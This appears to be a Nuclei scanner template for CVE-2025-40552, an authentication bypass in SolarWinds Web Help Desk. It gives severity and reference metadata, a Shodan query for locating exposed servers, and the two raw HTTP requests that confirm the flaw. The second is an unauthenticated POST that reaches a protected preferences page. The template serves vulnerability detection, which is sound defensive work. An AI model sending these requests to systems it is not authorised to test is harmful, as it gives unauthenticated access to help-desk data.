SolarWinds Web Help Desk - Authentication Bypass

id: CVE-2025-40552

info:
  name: SolarWinds Web Help Desk - Authentication Bypass
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    SolarWinds Web Help Desk contains an authentication bypass vulnerability caused by improper access control, letting attackers execute protected actions without authentication, exploit requires no special conditions.
  impact: |
    Attackers can execute protected actions without authentication, potentially compromising system integrity and data security.
  remediation: Update to the latest version of SolarWinds Web Help Desk.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40552
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40552
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40552
    cwe-id: CWE-1390
    epss-score: 0.49734
    epss-percentile: 0.98755
  metadata:
    verified: true
    max-request: 2
    vendor: solarwinds
    product: web_help_desk
    shodan-query: http.favicon.hash:"1895809524"
  tags: cve,cve2025,solarwinds,web-help-desk,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'helpdesk','WebObjects')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /helpdesk/WebObjects/Helpdesk.woa/wo/1.2 HTTP/1.1
        Host: {{Hostname}}

        wopage=LookAndFeelPref

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '<span>Add File</span>','saveOptions')"
          - "status_code == 200"
        condition: and
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